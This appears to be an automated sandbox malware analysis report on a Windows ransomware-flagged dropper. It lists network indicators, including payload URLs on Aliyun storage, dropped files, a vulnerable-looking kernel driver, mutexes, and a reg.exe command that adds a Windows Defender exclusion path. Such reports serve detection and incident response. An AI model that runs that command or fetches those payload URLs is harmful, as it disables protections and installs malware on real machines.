Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i.dat HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a.gif HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /b.gif HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d.gif HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.dat HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.jpg HTTP/1.1User-Agent: 3MHost: vien3h.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /drops.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f.dat HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-50.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-51.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-52.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-53.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /drops.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f.dat HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-50.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-51.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-52.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-53.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: vien3h.oss-cn-beijing.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: 22mm.oss-cn-hangzhou.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: gnkygm.net

Source: 153776434-874356550.05.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 153776434-874356550.05.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ocGsp4.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 153776434-874356550.05.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: 153776434-874356550.05.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 153776434-874356550.05.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 153776434-874356550.05.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 153776434-874356550.05.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: 153776434-874356550.05.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: ocGsp4.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://s.symcd.com0_
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://sw.symcd.com0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: ocGsp4.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: ocGsp4.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: ocGsp4.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: ocGsp4.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 153776434-874356550.05.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: ocGsp4.exe, 00000005.00000003.2182955898.0000000003DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg
Source: ocGsp4.exe, 00000005.00000003.2182955898.0000000003DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpghttps://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51
Source: ocGsp4.exe, 00000005.00000003.2182955898.0000000003DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg
Source: ocGsp4.exe, 00000005.00000003.2182955898.0000000003DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg
Source: ocGsp4.exe, 00000005.00000003.2182955898.0000000003DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg
Source: 153776434-874356550.05.exe, ocGsp4.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: ocGsp4.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: ocGsp4.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0)
Source: ocGsp4.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, 153776434-874356550.05.exe, 00000000.00000003.1854393730.000000000058C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/
Source: 153776434-874356550.05.exe, 00000000.00000003.1854393730.000000000058C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/A
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/BM
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/LM5g
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/Mig
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/TM
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/a.gif
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifXM
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifhttps://vien3h.oss-cn-beijing.aliyuncs.com/b.gifhttp
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/b.gif
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/b.gifD
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/b.gifF
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/c.gif
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/d.gif
Source: 153776434-874356550.05.exe, 00000000.00000003.1854298801.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vien3h.oss-cn-beijing.aliyuncs.com/jM
Source: 153776434-874356550.05.exe	String found in binary or memory: https://www.beyondtrust.com/0
Source: 153776434-874356550.05.exe, 189atohci.sys.0.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 63371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63371
Source: unknown	Network traffic detected: HTTP traffic on port 63220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63252
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63349
Source: unknown	Network traffic detected: HTTP traffic on port 63332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63222
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 63431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63219
Source: unknown	Network traffic detected: HTTP traffic on port 63224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63431
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63356
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.103.20.17:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.178.60.9:443 -> 192.168.2.4:63221 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\d[1].gif entropy: 7.9954955896	Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\Documents\MsMpList.dat entropy: 7.9999387545	Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\a[1].gif entropy: 7.99530439254	Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\b[1].gif entropy: 7.99352271294	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\SibbEG\tbcore3U.dll entropy: 7.99251722234	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-52[1].jpg entropy: 7.99951889252	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\SibbEG\log.src entropy: 7.99995523018	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\SibbEG\utils.vcxproj entropy: 7.99939996222	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\drops[1].jpg entropy: 7.99178106276	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-50[1].jpg entropy: 7.99273647747	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-51[1].jpg entropy: 7.99995626102	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\U5Mb5c\tbcore3U.dll entropy: 7.99251726095	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-52[1].jpg entropy: 7.99951889252	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\U5Mb5c\log.src entropy: 7.999955224	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\U5Mb5c\utils.vcxproj entropy: 7.99939976298	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\drops[1].jpg entropy: 7.99178106276	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FOM-50[1].jpg entropy: 7.99273647747	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-51[1].jpg entropy: 7.99995626102	Jump to dropped file
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	File created: C:\Program Files (x86)\k65O7cr6i\log.src entropy: 7.99995522445	Jump to dropped file
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	File created: C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll entropy: 7.99251668699	Jump to dropped file
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	File created: C:\Program Files (x86)\k65O7cr6i\utils.vcxproj entropy: 7.99939971953	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.ocGsp4.exe.2760000.1.unpack, type: UNPACKEDPE

Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen

PE file contains section with special chars

Source: tbcore3U.dll.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll.38.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.38.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.38.dr	Static PE information: section name: .mo:

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_0000000140006C95 NtAllocateVirtualMemory,

4_2_0000000140006C95

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_0000000140001520 OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,CloseServiceHandle,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherW,

4_2_0000000140001520

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_000000014000C3F0	4_2_000000014000C3F0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_000000014000CC00	4_2_000000014000CC00
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_0000000140001A30	4_2_0000000140001A30
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_000000014000C2A0	4_2_000000014000C2A0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00000001400022C0	4_2_00000001400022C0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00000001400110F0	4_2_00000001400110F0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_0000000140010CF0	4_2_0000000140010CF0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_0000000140009300	4_2_0000000140009300
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_000000014000BB70	4_2_000000014000BB70
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_0000000140003F80	4_2_0000000140003F80
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00000001400103D0	4_2_00000001400103D0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00007FFE13210248	4_2_00007FFE13210248
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00007FFE1320A1B8	4_2_00007FFE1320A1B8
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 39_2_00844AE2	39_2_00844AE2
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Code function: 40_2_00CF4AE2	40_2_00CF4AE2
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Code function: 44_2_00614AE2	44_2_00614AE2

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\SibbEG\SibbEG.exe 7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722

Source: 153776434-874356550.05.exe

Static PE information: invalid certificate

Source: 153776434-874356550.05.exe, 00000000.00000000.1689655623.0000000141D77000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamespinner.exe> vs 153776434-874356550.05.exe
Source: 153776434-874356550.05.exe	Binary or memory string: OriginalFilenamespinner.exe> vs 153776434-874356550.05.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f

Source: 4.2.ocGsp4.exe.2760000.1.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender

Source: 189atohci.sys.0.dr	Binary string: \Device\Driver\
Source: 189atohci.sys.0.dr	Binary string: \Device\TrueSight

Source: classification engine

Classification label: mal100.rans.evad.winEXE@70/39@35/3

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,

4_2_0000000140003F80

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: GetModuleFileNameW,OpenSCManagerW,GetLastError,CreateServiceW,CloseServiceHandle,GetLastError,CloseServiceHandle,

4_2_0000000140001430

Source: C:\Users\user\Documents\ocGsp4.exe

4_2_0000000140001520

Source: C:\Users\user\Documents\ocGsp4.exe

4_2_0000000140001520

Source: C:\Users\user\Documents\ocGsp4.exe

File created: C:\Program Files (x86)\U5Mb5c

Jump to behavior

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\i[1].dat

Jump to behavior

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\IEToolbarUninstaller
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Mutant created: \Sessions\1\BaseNamedObjects\8.210.209.78:8917:Sauron
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Mutant created: \Sessions\1\BaseNamedObjects\26f3475fc22
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Mutant created: \Sessions\1\BaseNamedObjects\{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Mutant created: \Sessions\1\BaseNamedObjects\aefd_932923
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1908:120:WilError_03
Source: C:\Users\user\Documents\ocGsp4.exe	Mutant created: \Sessions\1\BaseNamedObjects\48c47662941
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Mutant created: \Sessions\1\BaseNamedObjects\LJPXYXC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5448:120:WilError_03

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Command line argument: tbcore3.dll	39_2_00841000
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Command line argument: tbcore3.dll	39_2_00841000
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Command line argument: tbcore3U.dll	39_2_00841000
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Command line argument: tbcore3U.dll	39_2_00841000
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Command line argument: tbcore3.dll	40_2_00CF1000
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Command line argument: tbcore3.dll	40_2_00CF1000
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Command line argument: tbcore3U.dll	40_2_00CF1000
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Command line argument: tbcore3U.dll	40_2_00CF1000
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Command line argument: tbcore3.dll	44_2_00611000
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Command line argument: tbcore3.dll	44_2_00611000
